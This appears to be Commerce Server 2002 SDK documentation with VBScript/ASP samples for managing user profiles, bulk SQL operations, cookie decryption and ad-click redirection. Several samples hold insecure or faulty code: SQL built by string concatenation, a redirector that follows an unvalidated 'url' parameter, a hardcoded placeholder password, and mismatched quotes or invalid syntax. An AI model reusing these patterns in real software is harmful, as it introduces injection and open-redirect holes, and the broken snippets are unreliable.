If the error is coming from the underlying data store providers (such as OLE DB Provider for SQL Server and OLE DB Provider for Microsoft Directory Services) in some cases only the Number and Source properties of the Error object are set.

For information about standard COM errors, see Standard COM Errors.

The following ADO Errors methods and properties are supported:

  • Clear
  • Count
  • Item
  • _NewEnum

The following ADO Error methods and properties are supported:

  • Description
  • HelpFile
  • Number
  • Source

Call the Initialize method before you access the Errors property.

See Also

[C++] ProfileObject Object

[C++] ProfileService Object

[Visual Basic] ProfileObject Object

[Visual Basic] ProfileService Object


Example Code for Profile Objects

This section provides detailed examples of how to use the profile definitions exposed by the Profiles resource. These samples are written in Microsoft Visual Basic, Visual Basic Scripting Edition (VBScript), or Active Server Pages (ASP), and do not show error checking or certain other formalities required for functional code.

Examples

Example | Description
Code to Connect to the Profiles Store | Describes how to connect to the Profiles store.
Code to Enumerate Errors | Describes how to enumerate all errors generated by the last Profiles resource operation.
Code to Set up Bind Credentials to Directory Stores | Describes how to bind profiles to specific users.
Code to Create a New Profile | Describes how to create a new profile.
Code to Retrieve a Profile | Describes how to retrieve a profile.
Code to Modify a Profile | Describes how to modify the data stored in a profile.
Code to Delete a Profile | Describes how to delete a profile.
Code to Retrieve XML Data and Schema | Describes how to retrieve the Extensible Markup Language (XML) representations of profile data and schemas.
Code to Perform Bulk Operations using ADO and SQL | Describes how ActiveX Data Object (ADO) and SQL are used to perform bulk operations on profile data.
Code to Delete Unused Profiles | Describes how to delete a profile that has not been used for some time.
Code to Decrypt a Persistent Cookie after the Key has changed | Describes how to decrypt old cookies when using rolling key encryption.
Code to Use the ProfileService Object or Commerce Server OLEDB Provider to Update Passwords | Describes how to use the ProfileService object and the Commerce Server OLEDB Provider to update passwords.
Code to Retrieve and Set Multi-valued Attributes | Describes how to use the ProfileService object to retrieve and set multi-valued attributes.
Code to Retrieve Extended Error Information from the Commerce Server OLEDB Provider | Describes how to retrieve extended error information from the Commerce Server OLEDB provider connection object in the event of an error.
Code to Retrieve Custom Attributes on Profile Properties | Describes how to retrieve custom attributes on profile properties.


Code to Connect to the Profiles Store

This section shows how to connect to the Profile Store. A SiteConfigReadOnly object provides access to the connection string. For more information about the connection string, see ProfileService.Initialize.

  1. Create a SiteConfigReadOnly object and initialize it for the "Retail" site.
    Dim oSiteConfigReadOnly
Set oSiteConfigReadOnly = Server.CreateObject _
 ("Commerce.SiteConfigReadOnly")
oSiteConfigReadOnly.Initialize "Retail"
  2. Retrieve the connection string to the Profile Store and release the SiteConfigReadOnly object.
    Dim sBDSConnect
sBDSConnect = oSiteConfigReadOnly.Fields("Biz Data Service") _
 .Value.Fields("s_ProfileServiceConnectionString").Value

Set oSiteConfigReadOnly = Nothing
  3. Create the ProfileService object and connect to the Profile Store. The Profile Definitions parameter is the catalog used for the profile schema definitions.
    Dim oProfileService
Set oProfileService = Server.CreateObject("Commerce.ProfileService")
oProfileService.Initialize sBDSConnect, "Profile Definitions"


Code to Enumerate Errors

This section shows how to enumerate any errors generated by the last Profiles resource operation, which includes any errors produced by the underlying technology. For more information, see ProfileService.Errors.

  1. If not already connected, create a ProfileService object, oProfileService, and establish a connection to the Profile Store. For information about connecting to the Profile Store, see Code to Connect to the Profile Store.
  2. Retrieve the Errors collection.
    Dim oError, oErrors
Set oErrors = oProfileService.Errors
  3. Enumerate any errors that are present.
    If oErrors.Count <> 0 Then
   For Each oError In oErrors
      Response.Write "<BR> Error number = " & oError.Number & "</BR>"
      Response.Write "<P>" & oError.Description & "</P>"
   Next
EndIf

Set oErrors = Nothing


Code to Setup Bind Credentials to Directory Stores

This section shows how to bind profiles to a specific user.

  1. If not already connected, create a ProfileService object, oProfileService, and establish a connection to the Profile Store. For information about connecting to the Profile Store, see Code to Connect to the Profile Store.
  2. Bind to a user using the full User Principal Name (UPN). Any profiles created after this binding will only be accessible by the user with the credentials user name = "someone@microsoft.com" and password = "mypassword".
    oProfileService.BindAs "someone@microsoft.com", "mypassword"
  3. Bind to a user using a SAM Account Name.
    oProfileService.BindAs "microsoft\someone", "mypassword"
  4. Bind to a user using the fully specified distinguished name of the security principal.
    oProfileService.BindAs "CN=someone,CN=Users,DC=microsoft,DC=com", _
 "mypassword"
  5. Clear the binding to access profiles not bound to a specific user.
    oProfileService.Unbind


Code to Create a New Profile

This section shows how to create a new profile. Two new profiles will be created, oUser1, a UserObject profile, and oAddress1, an Address profile.

Note

  • If the CreateProfile method fails on an aggregated profile (one that has multiple data sources), the DeleteProfile method must be called to clean up any entries in the data stores. In this case, the DeleteProfile method will produce an error that should be ignored.
  1. If not already connected, create a ProfileService object, oProfileService, and establish a connection to the Profile Store. For information about connecting to the Profile Store, see Code to Connect to the Profile Store.
  2. Create two new empty profiles (ProfileObject objects) using the ProfileService object, oProfileService, created in Step 1. For information about the valid profile schema types (specified as the second parameter of the CreateProfile method) and their associated properties, see Profile Schema. The primary key for the Address profile is a globally unique identifier (GUID), obtained through a GenID object.
    Dim oUser1, oAddress1

Set oUser1 = oProfileService.CreateProfile("JoeUser@microsoft.com", _
 "UserObject")
If err.number <> 0 Then
   oProfileService.DeleteProfile "JoeUser@microsoft.com", "UserObject"
EndIf

Dim oGenID, sGUID
Set oGenID = Server.CreateObject("Commerce.GenID")
sGUID = oGenID.GenGUIDString

Set oAddress1 = oProfileService.CreateProfile(sGUID, "Address")
  3. Populate the desired properties of the profiles. The logon_name property of the oUser1 profile is already specified (as the first parameter of the CreateProfile method). Note that ProfileObject objects support extended dot notation and smart navigation. For more information, see ProfileObject Object.
    oUser1.GeneralInfo.first_name = "Joe"
oUser1.GeneralInfo.last_name = "User"

oAddress1.GeneralInfo.region_code = "WA"
oAddress1.GeneralInfo.country_code = "US"
  4. Save the profiles to the underlying Profile Store.
    oUser1.Update
oAddress1.Update
  5. Release the objects.
    Set oUser1 = Nothing
Set oAddress1 = Nothing


Code to Retrieve a Profile

This section shows how to retrieve a profile.

  1. If not already connected, create a ProfileService object, oProfileService, and establish a connection to the Profile Store. For information about connecting to the Profile Store, see Code to Connect to the Profile Store.
  2. The profile object can be retrieved by specifying the schema name of the ProfileObject object, and either the primary key value or a key name/value pair. The UserObject schema type has a primary key of logon_name and a join key of user_id, which is a globally unique identifier (GUID). For information about the valid profile schema types, see Profile Schema. Retrieve the oUser1 profile created in Code to Create a New Profile.
    • Retrieve by specifying the primary key value and the schema name.
      Dim oUser1
Set oUser1 = oProfileService.GetProfile("JoeUser@microsoft.com", _
 "UserObject")
    • Retrieve by specifying a key name/value pair and the schema name.
      Set oUser1 = oProfileService.GetProfileByKey("user_id", _
 "{74A38551-FFFF-FFFF-FFFF-0A20C90DC8D1}", "UserObject")


Code to Modify a Profile

This section shows how to modify the data stored in a profile. To modify the schema of a profile (the data structure), use the Profile Definition Designer in Commerce Server Business Desk. For more information, see Adding Properties to a Profile Definition.

  1. If not already connected, create a ProfileService object, oProfileService, and establish a connection to the Profile Store. See Code to Connect to the Profile Store.
  2. Retrieve the oUser1 profile. For more information, see Code to Retrieve a Profile.
  3. Modify the first_name and tel_number of the oUser1 profile. This example uses smart navigation instead of the Fields collection to access the profile properties. For information on the available properties for the profiles shipped with Commerce Server, see Profile Schema. Note the two different syntaxes available for accessing the properties. Both are equivalent.
    oUser1.first_name = "Joseph"
oUser1.tel_number = "(123) 456-7890"

oUser1.GeneralInfo.first_name = "Joseph"
oUser1.GeneralInfo.tel_number = "(123) 456-7890"
  4. Save the change to the Profile Store.
    oUser1.Update


Code to Delete a Profile

This section shows how to delete a profile. Care must be taken when deleting a profile due to possible expression dependencies on the deleted profile.

  1. If not already connected, create a ProfileService object, oProfileService, and establish a connection to the Profile Store. For information about connecting to the Profile Store, see Code to Connect to the Profile Store.
  2. The profile object can be deleted by specifying the schema name, and either the primary key value or a key name/value pair of the ProfileObject object. The UserObject schema type has a primary key of logon_name and a join key of user_id which is a globally unique identifier (GUID). For information on the valid profile schema types, see Profile Schema. Delete the oUser1 profile created in Code to Create a New Profile.
    • Delete by specifying the primary key value and the schema name.
      oProfileService.DeleteProfile "JoeUser@microsoft.com", "UserObject"
    • Delete by specifying a key name/value pair and the schema name.
      oProfileService.DeleteProfileByKey "user_id", _
 "{74A38551-FFFF-FFF6-FFFF-0A20C90DC8D1}", "UserObject"


Code to Retrieve XML Data and Schema

This section shows how to retrieve a list of all defined profile schema names, and how to retrieve the schema corresponding to one of these schema names. Then, the Extensible Markup Language (XML) data and schema representation of a ProfileObject object is obtained.

  1. If not already connected, create a ProfileService object, oProfileService, and establish a connection to the Profile Store. For information about connecting to the Profile Store, see Code to Connect to the Profile Store.
  2. Create an empty XML Document Object Model (DOM) document.
    Dim xmlDoc
Set xmlDoc = CreateObject("Microsoft.XMLDOM")
  3. Retrieve the XML string containing the list of all defined profile schema names and load it into the empty XML DOM document.
    xmlDoc.loadXML( oProfileService.GetProfileDefXML("", True) )
  4. Retrieve the collection of "ElementType" nodes that contain the names of the profile schemas.
    Dim xmlNodes
Set xmlNodes = xmlDoc.getElementsByTagName("ElementType")
  5. Retrieve the first profile schema name.
    Dim sSchemaName
sSchemaName = _
 xmlNodes.item(0).attributes.getNamedItem("name").nodeValue
  6. Retrieve the XML string for the schema corresponding to the first profile schema name.
    Dim sXMLSchema
sXMLSchema = oProfileService.GetProfileDefXML(sSchemaName, False)
  7. Retrieve the schema and data representation for the profile, oUser1, created in Code to Create a New Profile.
    Dim sXMLSchemaAndData
sXMLSchemaAndData = _
 oUser1.GetProfileXML(psRetrieveSchemaAndData, False)


Code to Perform Bulk Operations using ADO and SQL

This topic shows how to perform bulk operations on profile data using ActiveX Data Objects (ADO) and SQL. New profiles are added to the UserObject profile, one of the properties is then updated, and finally, all inactive accounts are deleted. For more information about the UserObject profile, see UserObject Profile Schema.

  1. Create a SiteConfigReadOnly object and initialize it for the "Retail" site.
    Dim oSiteConfigReadOnly
Set oSiteConfigReadOnly = Server.CreateObject _
 ("Commerce.SiteConfigReadOnly")
oSiteConfigReadOnly.Initialize "Retail"
  2. Retrieve the connection string to the Profile Store and release the SiteConfigReadOnly object.
    Dim sCSConnect
sCSConnect = oSiteConfigReadOnly.Fields("Biz Data Service") _
 .Value.Fields("s_CommerceProviderConnectionString").Value

Set oSiteConfigReadOnly = Nothing
  3. Create an ADO Connection object and an ADO Command object and open a connection to the Profile Store.
    Dim oConnection As New ADODB.Connection
Dim oCommand As New ADODB.Command
Set oCommand.ActiveConnection = oConnection
  4. Create and execute a query to add new profiles to the UserObject profile. Assume the data is stored in an array with the following format (not all fields are shown).
    Dim sQuery
Dim arNewCustomers()
arNewCustomers(0, 0) = "johndoe"             ' Unicode string
arNewCustomers(0, 1) = 1                     ' Integer
arNewCustomers(0, 2) = {d '2002-01-31'}      ' {d 'YYYY-MM-DD'}
arNewCustomers(0, 3) = {F8677EA7-1A7E-4969-8771-F917C4EA96C8} ' GUID

For i = 1 To UBound(arNewCustomers)
   sQuery = "INSERT INTO Customers (u_logon_name, " & _
                                   "i_user_type, " & _
                                   "d_date_registered, " & _
                                   "g_org_id) " & _
                       "VALUES " & (arNewCustomers(i, 0) & ", " & _
                                    arNewCustomers(i, 1) & ", " & _
                                    arNewCustomers(i, 2) & ", " & _
                                    arNewCustomers(i, 3) & ")"
   oCommand.CommandText = sQuery
   oCommand.Execute()
Next
  5. Check the procedure. If an INSERT method only partially succeeds against aggregated stores, the DeleteProfile method of the ProfileService object must be called to clean up the partially inserted data.
    Dim rsProfiles As ADODB.Recordset

sQuery = "SELECT (u_logon_name, i_user_type, d_date_registered, " & _
                  g_org_id) FROM Customers " & _
         "WHERE date_created = {d '2003-01-31'}"" & _
         "ORDER BY d_date_registered"

oCommand.CommandText = sQuery
Set rsProfiles = oCommand.Execute()
  6. Change the organization ID for the new customers.
    sQuery = "UPDATE Customers " & _
         "SET g_org_id = '{2B544800-4169-4C49-8713-1B794078B4C9}'" & _
         "WHERE date_created = {d '2003-01-31'}"" & _

oCommand.CommandText = sQuery
oCommand.Execute()
  7. Delete all inactive accounts.
    sQuery = "DELETE FROM Customers " &
         "WHERE i_account_status = 0"

oCommand.CommandText = sQuery
oCommand.Execute()
  8. Close the connection and release the objects.
    oConnection.Close
Set rsProfiles = Nothing
Set oConnection = Nothing
Set oCommand = Nothing


Code to Delete Unused Profiles

This topic shows how to use the [ProfileSystem.date_last_changed] property in the default schema to delete profiles that have been unused for some arbitrary time.

The sample script below deletes user-profile objects that were last changed on October 4 2000 or before. The date is expressed in the form {d '2001-10-5'}.

To use the script, you will need to supply the correct server name, myserver, and Password.

Dim strDSN
Dim strSQL
Dim objCN

Set objCN = WScript.CreateObject("ADODB.Connection")
Set objRS = WScript.CreateObject("ADODB.Recordset")

strDSN = "Provider=commerce.dso.1;Data Source = _
  MSCOP://INPROCCONNECT/Server=myserver:" & _
  "Catalog=Profile Definitions:Database = Retail_commerce:" & _
  " Trusted_Connection=Yes:"
objCN.Open strDSN

strSQL = "
DELETE FROM [UserObject]
WHERE [ProfileSystem.date_last_changed] < {d '2001-10-5'}
"

objCN.Execute(strSQL)

Set objCN = Nothing


Code to Decrypt a Persistent Cookie after the Key has Changed

This topic shows how to decrypt a cookie that was encrypted with an obsolete key. This is not a complete example because many of the details will be specific to your application. You will need to implement a method for storing and retrieving the obsolete keys. If you store more than one obsolete key, then you will need to change the code to try each saved key.

On Error Resume Next

'Try the current key
Dim sUserID
sUserid = auth.GetUserid(enumMSCS_ProfileTicketType)

'If the decryption fails try a stored key
if (err.number = <errcode>)
'Use the error code for NTE_BAD_DATA, NTE_BAD_KEY, or NTE_BAD_HASH as required.
{
   Dim sCookie, sOldEncryptionKey
   sOldEncryptionKey = 'code to retrieve old encryption key
   sCookie = Request.Cookies("MSCSAuth")
   sUserid = auth.GetUseridFromCookieAndKey(sCookie, sOldEncryptionKey)

   if Not ((err.number = <errcode>)
'Use the error code for NTE_BAD_DATA, NTE_BAD_KEY, or NTE_BAD_HASH as required.
   {
      auth.SetAuthTicket(sUserID, bCookieSupport, nTimeWindow)
   }
   else
   {
      'Cookie cannot be decrypted, redirect to force a new login.
   }
}

On Error Goto 0


Code to Use the ProfileService Object or Commerce Server OLEDB Provider to Update Passwords

This section describes how to update passwords using different methods.

If you are using Active Directory to store passwords, then passwords must be configured as multi-valued properties. When the passwords are changed, the sequence of values must be ('<old password>', '<new password>'). The following SQL query example illustrates this:

UPDATE UserObject
SET GeneralInfo.user_security_password = ('<old-password>', _
                                         '<new-password>')
WHERE GeneralInfo.logon_name = '<logon-name>'

If you are using the ProfileService object, an array of values must be used. The old password must be the first element of the array; the new password must be the second element. The following example illustrates this:

Dim objProfile
Dim Passwords(2)

Passwords(0) = "<old-password>"
Passwords(1) = "<new-password>"
' <Code to create and initialize ProfileService object omitted>
Set objProfile = ProfileService.GetProfile("<logon-name>", "UserObject")
objProfile.GeneralInfo.user_security_password = Passwords
objProfile.Update


Code to Retrieve Extended Error Information from the Commerce Server OLEDB Provider

This example script demonstrates retrieving extended error information from the Commerce Server OLEDB provider connection object in the event of an error. The example illustrates handling the entry of an incorrect SQL query statement: the correct statement to submit would include "GeneralInfo.logon_name", instead of "GeneralInfo.login_name" as is attempted in this example. After the errors are retrieved from the errors collection, they are displayed in a message box.

Option Explicit
' Declare the varibles and objects used.
Dim Dsn
Dim cn, rs
Dim Sql, ErrorMessage
Dim i

' Update the connection string to have the right server,
' user name and password.
Dsn="url=mscop://InProcConnect/Server=<server-name>:Database=BlankSite_COMMERCE:Catalog=Profile Definitions: Trusted_Connection=Yes:"

' Create the ADO connection and Record objects
Set cn = CreateObject("ADODB.Connection")
Set rs = CreateObject("ADODB.Record")

' Open the connection object using the Dsn.
cn.Open Dsn

' Build up the query.
Sql = ""
Sql = "SELECT "
Sql = Sql + "[GeneralInfo.login_name],"
' Note: It should be [GeneralInfo.logon_name] and not [GeneralInfo.login_name]
Sql = Sql + "[GeneralInfo.tel_number]"
Sql = Sql+ "FROM [UserObject]"

' Set resume next condition to do custom error handling.
On error resume next

' Execute the query constructed above.
Set rs = cn.Execute(Sql)

' Check for error code.
if Err.number <> 0 then

   ' Reset custom error handling.
   On Error goto 0

   ' Set the error message to blank
   ErrorMessage = ""

   ' Loop over all the error messages in the errors collection.
   For i = cn.Errors.Count to 1 step -1
ErrorMessage = ErrorMessage & chr(10) _
   & "Error code: 0x" & CStr(Hex(cn.Errors(i-1).Number)) & chr(10) _
   & "Error description: " & cn.Errors(i-1).Description  _
   & "Source: " & cn.Errors(i-1).Source & chr(10)
   Next

   ' Display the error messages collected above.
   MsgBox ErrorMessage

end if

' Indicate that the operation completed.
MsgBox "Done!"


Code to Retrieve and Set Multi-Valued Attributes

In this example, a previous page has posted a value titled "theValue" which contains multiple values in a string separated by semicolons: "valueone;valuetwo;valuethree". This is split into an array using the VBScript Array() function and then used to update the users profile.

The following points hold for this example:

  • The Site Name is hard coded instead of being retrieved from the Application object.
  • The Profile Service object is created on the page. There is normally one instance of this object that is created in Global.asa and stored in the Application object. This global instance would normally be used on a production page.
  • The specific profile instance to update is hard coded on the page. This is rarely the case in a production page.
  • Error checking is omitted for clarity.
<html>
<body>
<%
Dim strSiteTerms, aTermArray, SiteName, oProfileService, oUser

' The Site Name would normally be retrieved from
' the Application object.
SiteName = "SupplierAD"

' The ProfileService object would normally be retrieved from the Application object.
Set oProfileService = GetProfileService(SiteName)

' Get the SiteTerms set into an array.
strSiteTerms = Request("theValue")
aTermArray = Split(strSiteTerms, ";")

' Get a profile. This would not normally be hard coded.
Set oUser = oProfileService.GetProfile("JoeUser", "UserObject")

' Modify and update the multi-valued SiteTerm with
' the information provided.
oUser.Favorites.FavoritePets = aTermArray
oUser.Update

Function GetProfileService(strSiteName)
Dim oProf, strConn
strConn = GetConnectionString(strSiteName)
Set oProf = Server.CreateObject("Commerce.ProfileService")
oProf.Initialize strConn, "Profile Definitions"
Set GetProfileService = oProf
End Function

' Get the Profile Service connection string.
Function GetConnectionString(strSiteName)
Set SiteCFG = Server.CreateObject("Commerce.SiteConfigReadOnly")
SiteCFG.Initialize strSiteName
GetConnectionString = SiteCFG.Fields("Biz Data Service").Value. _
Fields("s_BizDataStoreConnectionString").Value
End Function
%>

' The profile has been updated.
</body>
</html>


Code to Retrieve Custom Attributes on Profile Properties

This sample describes how to access custom attributes defined on profile properties.

  1. If not already connected, create a ProfileService object, oProfileService, and establish a connection to the profile store. For information about connecting to the Profile Store, see Code to Connect to the Profile Store.
  2. Retrieve the profile object by specifying the schema name, and either the primary key value or a key name/value pair of the ProfileObject object. The UserObject schema type has a primary key of logon_name and a join key of user_id. The join key is a globally unique identifier (GUID). For more information on the valid profile schema types, see Profile Schema. Retrieve the oUser1 profile created in Code to Create a New Profile.
  3. Retrieve the IsExported custom attribute defined on first_name.
    Set IsExported = oUser1.GeneralInfo.first_name.Properties("IsExported")


Targeting Objects

The content selection objects are used to select custom content for display on Web pages and are part of the Content Selection Framework (CSF). Although the CSF uses many different objects to select content, such as the ContentList object, the ContentListFactory object, and the CacheManager object, this section focuses on the ContentSelector object, which is the main object used to get and display targeted content. The ContentSelector object invokes different CSF pipelines to select different types of content based on the dictionary passed to the GetContent method.

The Targeting Programming Concepts topic describes the concepts related to programming with the Content Selection objects.

Objects

Visual Basic Reference | C++ Invocation | Description
ContentList | ContentList | Contains a representation of each content item eligible for a given request for content. Also provides services to Content Selection Framework (CSF) components such as filtering and sorting.
ContentListFactory | ContentListFactory | Allows creation of ContentList objects, and stores data shared by those objects.
ContentListSchema | ContentListSchema | Allows manipulation of the schema for a ContentListFactory object.
ContentSelector | ContentSelector | Allows specification and retrieval of page content.
ExpressionEval | ExpressionEval | Allows selection and evaluation of one or more expressions against a set of profiles.
ExpressionStore | ExpressionStore | Provides methods to create, save, modify, and retrieve expressions.
ExprEvalContext | ExprEvalContext | Stores a specific evaluation context (set of profiles) that can be used for multiple expression evaluation operations.
ExprFltrQueryBldr | ExprFltrQueryBldr | Translates an expression in XML form into a SQL filter query string.
ListManager | ListManager | Provides methods to create, destroy, manage, and manipulate lists.
PredictorClient | PredictorClient | Loads an analysis model, sets properties controlling the prediction context, and executes the prediction algorithm.
RowCollection | RowCollection | Allows enumeration of the rows returned from the ActiveRows and AllRows properties, and the Search method, of a ContentList object, and from the AllRows property and the Search method of a ContentListFactory object.

Examples

Example | Description
Code to Support the ContentSelector Object | Contains code to include in the Global.asa file to support the ContentSelection object.
Code to Execute the ContentSelector Object | Contains code to include in the Default.asp file that you use to create the ContentSelection object, code that you use with the GetContent method, and code you use to write ads to the Web page.
Code to Connect to the Expression Store | Describes how to connect to, and disconnect from, the Expression Store.
Code to Create an Evaluation Context | Describes how to create an evaluation context that contains the data for evaluating an expression against.
Code to Evaluate an Expression Stored as an XML Fragment | Describes how to evaluate an expression stored as an XML fragment.
Code to Create a New Expression | Describes how to create a new expression.
Code to Manipulate Expressions | Describes how to retrieve or delete expressions from the Expression Store, rename an expression, or translate between expression IDs and expression names.
Code to Evaluate a Single Expression | Describes how to evaluate a single expression.
Code to Evaluate Groups of Expressions | Describes how to create a stored evaluation context and evaluate groups of expressions against this common context.
Code to Import and Export Expressions | Describes how to import and export expressions.
Code to Initialize the ListManager Object | Describes how to create and initialize the ListManager object.
Code to Create a List | Describes how to create a list from a file.
Code to Manipulate Lists | Describes the operations performed on lists such has copy, subtract, union, and export, and the procedure to add and subtract a user from a list.
Code to Enumerate Available Lists | Describes how to retrieve and enumerate the available lists and set list properties, such as the list name and description.


Targeting Programming Concepts

This section contains the following:

  • ContentSelector Programming Concepts
  • Expression Programming Concepts
  • List Management Programming Concepts


ContentSelector Programming Concepts

The ContentSelector object is used to invoke Content Selection Framework (CSF) pipelines to display dynamic, targeted content on a Web page. The ContentSelector object is a property bag that inherits the properties and methods of the Dictionary object and adds the GetContent method. The dictionary object passed to the GetContent method, the global Context dictionary for the CSF application, is used to pass global objects and other values to the pipeline. These values include the location of the redirector script (Redir.asp), the expression evaluator object, and the Content Selection pipeline that should be run to select the content. These values do not change on a per-request basis.

Certain pipeline components in the CSF pipeline expect certain values, some optional, to be set in the dictionary. For example, the CSF pipeline expects the Size, PageGroups, NumRequested, and UserProfile keys to be set in the dictionary.

Redirecting Users

Advertising Sitelet

Redirecting Users

To capture and record the final click events before users navigate away from your site, Commerce Server 2002 includes the redirector script, Redir.asp. For example, if an advertiser on your site supplies you with an ad and requests that when the ad is clicked the browser should navigate to the advertiser's site, then without a mechanism such as the redirector, Commerce Server 2002 has no way to know that the user clicked on the ad. Being able to track these final click events enables you to analyze the performance and success of targeted content on your Web site.

To implement the Redir.asp script, you must create an Event Processing pipeline in the Global.asa file. The following code creates the Event Processing pipeline and can be added to the code in Code to Support the ContentSelector Object.

Dim dCSFAdsContext
Set oPipe = Server.CreateObject ("Commerce.OrderPipeline")
oPipe.LoadPipe (oPipelineMap.RecordEvent)
Set Application ("CampaignsCSFEventPipe") = oPipe

The following code should be included in the Redir.asp script.

Notes

  • The Solution Sites and the Advertising Sitelet include versions of the Redir.asp script that you can reuse.
  • Commerce Server Solution Sites are available at http://go.microsoft.com/fwlink/?linkid=6491.
Sub Main()
    Dim oPipe, sUrl, sCacheName, oContentList
    Dim dictCache, dictOrder, dictContext
    Dim Errlvl, oFactory, ciid, sEvt

    ' Get Pipeline object.
    Set oPipe = Application("CampaignsCSFEventPipe")

    ' Get the Content cache that this event is associated with.
    sCacheName = Request.Querystring("CacheName")

    If sCacheName <> "" Then
    ' Get cache object
    Set dictCache = Application("MSCSCacheManager").GetCache(sCacheName)

        ' Get name of event to record (default is CLICK).
        sEvt = Request.Querystring("evt")
        If sEvt = "" Then sEvt = "CLICK"

        ' Set up Order and Context dictionaries and execute the pipeline.
        If ciid > 0 Then
            ' Create dictionaries
            Set dictOrder = Server.CreateObject("Commerce.Dictionary")
            Set dictContext = Server.CreateObject("Commerce.Dictionary")

            ' "_winners" is the item(s) to record the event for.
            ' (may be a simplelist or a scalar)
            dictOrder("_winners") = ciid

            ' "_event" is the name of the event to record. You cannot
            ' record more than one event name per pipeline invocation.
            dictOrder("_event") = sEvt

            ' Create a content list of items from the given cache.
            Set oFactory = dictCache("Factory")
            Set oContentList = oFactory.CreateNewContentList
            Set dictOrder("_content") = oContentList

            ' Get the in-memory dictionary of campaign item performance.
            Set dictOrder("_Performance") = dictCache("_Performance")
            dictContext("SiteName") = sCacheName

            ' Look up page group ID.
            If Request.QueryString("PageGroupId") <> "" Then
                dictContext("PageGroupId") =
                CLng(Request.QueryString("PageGroupId"))
            Else
                dictContext("PageGroupId") = 0
            End If

            ' Execute the pipeline to record the event.
            oPipe.orderExecute 1, dictOrder, dictContext, Errlvl

        End If
    End If

    ' Redirect to the supplied URL.
    sUrl = Request.Querystring("url")
    If sUrl <> "" Then
        Response.Redirect(sUrl)
    Else

        Response.Write(MSCSMessageManager.GetMessage
        ("L_NoRedirectionURLSpecified_ErrorMessage", sLanguage))
    End if
End Sub

Advertising Sitelet

Included with Commerce Server 2002 Software Development Kit (SDK) is the Advertising Sitelet. The Advertising Sitelet is an example of how ContentSelector objects can be implemented to show targeted content based on the profile of the user.

For more information about unpacking the Advertising Sitelet, see Advertising Sitelet.


Expression Programming Concepts

The Expression Evaluator Engine (EEE) consists of the evaluation core logic, the ExpressionStore, and ExpressionEval objects, and caches for loaded expressions, object properties, and expression results as shown in the following figure.

Expression Evaluation Engine

The EEE consists of the following parts:

  • Evaluation Context
  • Evaluation Core
  • Expression Cache
  • Expression Result Cache
  • ExpressionEval Object
  • ExpressionStore Object
  • Object Property Cache

Evaluation Context

An evaluation context is used to evaluate a set of expressions against the same profiles. Performance is gained when evaluation contexts are used because it allows the EEE to do more intelligent caching. Specifically, it enables caching of profile properties and expression results. This is used by the CSF EvalTargetGroups component, for example, because this component evaluates many expressions against the same profiles and many of those expressions are commonly repeated in multiple target groups.

If an evaluation context is not explicitly created, one will automatically be created each time an expression is evaluated. Such context objects are automatically released once the expression has been evaluated.

When targeting advertisements or discounts, it is possible to build targeting expressions using two profile definitions: User profile and TargetingContext profile. Typically in Commerce Server ASP-based sites, a Dictionary object is used as the run-time instantiation of the TargetingContext profile. With a Dictionary object there is no enforcement of the profile schema and it is possible to set properties on the dictionary that cannot be targeted because they are not part of the design-time view of the profile schema. It has always been possible to use true Profile objects for the TargetingContext profile at runtime, but the default schema of the TargetingContext profile in Commerce Server 2000 did not allow for this because there was no unique key property.

In Commerce Server 2002 ASP .NET-based sites, the CommerceContext.TargetingSystem.TargetingContextProfile property represents a true profile object with a strictly enforced schema. The default TargetingContext profile schema has been changed to include a unique key property, unique_id. On each page request, a unique value for this property is automatically generated by the TargetingSystemInfo class.

ASP-based sites may also optionally provide a true Profile object at runtime as the TargetingContext profile, but the site would need to use the Commerce.GenId class to manually create a new Guid for each instance of the TargetingContext profile that is created and assign that to the unique_id property.

See Also

TargetingSystemInfo.TargetingContextProfile Property

Evaluation Core

This is the core logic of the EEE. It handles the actual evaluation of the expression.

Expression Cache

Expressions are loaded from the Expression Store into this cache. When an expression is to be evaluated, the ExpressionEval object firsts looks for the expression in this cache. If the expression is not found, it is loaded. For enhanced performance at run-time, pre-load expressions into the expression cache using the LoadExpr or LoadAll methods of the ExpressionEval object.

Expression Result Cache

The result of an evaluated expression is cached so the result can be returned without re-evaluating the expression a second time for a given evaluation context.

ExpressionEval Object

This object loads and flushes the expression cache, creates the evaluation contexts against which expressions are evaluated, and performs the evaluations on the expressions. For more information, see ExpressionEval Object.

ExpressionStore Object

This object interacts with the Expression Store to create, delete, save, retrieve, query, import, and export expressions. For more information, see ExpressionStore Object.

Object Property Cache

When an expression is initially evaluated, references to the dependent profile objects are stored in this cache. During evaluation, as the object properties are accessed, they are also stored in this cache for reuse.


List Management Programming Concepts

List Types

List Manager contains the functionality to manipulate two types of lists, Generic lists and Mailing lists. Each type may also have User and Mailable attributes. Lists are designated as static or dynamic, depending on when the data is imported.

You use a Mailing list with Direct Mailer. It contains a list of recipients who have been designated to receive an e-mail ad or a list of recipients that should not receive the mailing. The default flags value indicates a Mailing list; the LISTFLAG_GENERIC flag must be set when the list is created or when the list is imported if the list you are creating is not a Generic list. A Mailing list implies a list with a specific set of column names and types. Direct Mailer uses only Mailing lists, although a Mailing list may be automatically extracted from a Generic list so long as it is a Mailable Generic list.

A Generic list may have any set of column names and types — it essentially maps to a SQL Server database table. When a list is imported into List Manager from the Analysis reporting feature or the Predictor segment viewer, it is imported as a Generic list. Generic lists may be converted to Mailing lists if they meet certain requirements. A Generic list may be imported from an SQL query but cannot be imported from a flat file.

A Mailable list is any list with an rcp_email column. When you import or create a Mailable list, you indicate that it is a Mailable list by setting the LISTFLAG_MAILABLE flag. A Generic list may or may not be Mailable; a Mailing list is always Mailable. After importing a Generic list, ListManager automatically attempts to detect a Mailable list, and sets the appropriate flag. The Mailable list flag exists for integration with Direct Mailer features, so that Direct Mailer can identify which lists to use for e-mail recipients and opt-out lists.

A User list is any list with an rcp_guid column. When you import or create a User list, you indicate that it is a User list by setting the LISTFLAG_USER flag. A Generic list may or may not be a User list; a Mailing list is always a User list. After importing a Generic list, List Manager automatically attempts to detect a User list, and sets the appropriate flag. The User list flag exists for integration with User Profile Management features. For example, it is possible to import a list from the Segment Viewer module in Commerce Server Business Desk and set a property in the user profile of each user in that list to indicate their membership in a particular segment. This information is then available for targeting by the Content Selection Framework for advertising and discounts.

Lists may be created as either static or dynamic. In a static list, records are imported at the time the list is created. A dynamic list imports records on demand when referenced by another operation.

Flag Values

The following table lists the possible flag parameter values used to determine the type of list created. Values may be combined using the logical OR operator to specify more than one flag.

List Type | Value | Description
DEFAULT | 0x0 | A Mailing list.
HIDDEN | 0x1 | The list should not be exposed in the user interface.
DYNAMIC | 0x2 | A dynamic list.
USER | 0x4 | A User list (contains an rcp_guid column).
